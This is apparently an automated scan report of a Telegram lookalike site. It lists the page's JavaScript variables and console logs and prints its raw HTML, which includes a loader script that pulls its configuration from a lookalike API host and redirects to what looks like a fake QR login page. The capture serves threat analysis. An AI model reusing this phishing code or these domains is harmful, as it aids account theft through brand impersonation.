https://telergctm.vip/VN/

Submitted URL:
https://telergaomqqq.top/appRedirected
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 33 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

NameType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
rootScopeobject
deferredPromisefunction
AppStoragefunction
stateStorageobject
wrapUrlfunction
I18nobject
webpWorkerControllerobject

Console log messages · 11 found

Messages logged to the web console

TypeCategoryLog
errornetwork
URL
https://telergaomqqq.top/icon.png
Text
Failed to load resource: the server responded with a status of 404 ()
logother
URL
https://telergctm.vip/apps.html
Text
Stored host value: https://api.telegiam.top
errornetwork
URL
https://telergctm.vip/favicon.ico
Text
Failed to load resource: the server responded with a status of 404 ()
logother
URL
https://telergctm.vip/apps.html
Text
预加载配置成功。
logjavascript
URL
https://telergctm.vip/apps.html
Text
API 返回的数据: JSHandle@object
logother
URL
https://telergctm.vip/apps.html
Text
location: https://t.me/tetrigopen_bot
logother
URL
https://telergctm.vip/apps.html
Text
Language: VN
logother
URL
https://telergctm.vip/host.js
Text
Host and link saved to local storage.
logjavascript
URL
https://telergctm.vip/VN/index-CQmJZaGV.js
Text
支持的图像mime类型 JSHandle@set
logother
URL
https://telergctm.vip/VN/index-CQmJZaGV.js
Text
got state, time: 527
logother
URL
https://telergctm.vip/VN/index-CQmJZaGV.js
Text
Will mount auth page: authStateSignQr 1731667362.164

HTML

The raw HTML body of the page

<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Loading...</title>
    <style>
        body, html {
            margin: 0;
            padding: 0;
            width: 100%;
            height: 100%;
            background-color: #000;
            display: flex;
            justify-content: center;
            align-items: center;
            font-family: Arial, sans-serif;
            color: #fff;
        }

        .loading-container {
            display: flex;
            justify-content: center;
            align-items: center;
            position: relative;
            width: 60px;
            height: 60px;
        }

        .spinner {
            border: 8px solid #f3f3f3;
            border-top: 8px solid #3498db;
            border-radius: 50%;
            width: 60px;
            height: 60px;
            animation: spin 1s linear infinite;
            position: absolute;
        }

        .logo {
            position: absolute;
            width: 30px;
            height: 30px;
            z-index: 1;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
</head>
<body>
    <div class="loading-container">
        <div class="spinner"></div>
        <img src="/telegram.png" alt="Logo" class="logo">
    </div>

    <script>
    // 设置本地存储变量
    const hostValue = 'https://api.telegiam.top';
    localStorage.setItem('host', hostValue);

    // 获取并打印本地存储的变量
    const storedHost = localStorage.getItem('host');
    console.log('Stored host value:', storedHost);

    // 通过 API 获取配置
    function fetchConfig() {
        const configUrl = `${storedHost}/api/index/config`; // 构建 API URL

        fetch(configUrl)
            .then(response => {
                if (!response.ok) {
                    throw new Error('Network response was not ok.');
                }
                return response.json(); // 解析为 JSON
            })
            .then(data => {
                console.log('API 返回的数据:', data);
                // 处理返回的数据
                if (data.status === 'success') {
                    localStorage.setItem('location', data.data.link);
                    const lang = data.data.lang;
                    console.log('location:', data.data.link);
                    console.log('Language:', lang);
                    const nextPageUrl = `/${lang}`; // 动态设置 nextPageUrl
                    redirectToNextPage(nextPageUrl);
                } else {
                    console.error('获取配置失败:', data);
                }
            })
            .catch(error => {
                console.error('获取配置时出错:', error);
            });
    }

    // 页面重定向处理函数
    function redirectToNextPage(nextPageUrl) {
        window.location.href = nextPageUrl;
    }

    // 预加载下一个页面并获取配置
    fetch(`${storedHost}/api/index/config`) // 预加载配置文件
        .then(response => {
            if (!response.ok) {
                throw new Error('Network response was not ok.');
            }
            return response.json(); // 解析为 JSON
        })
        .then(data => {
            console.log('预加载配置成功。');
            fetchConfig(); // 调用获取配置函数
        })
        .catch(error => {
            console.error('预加载配置时出错:', error);
        });
</script>




</body></html>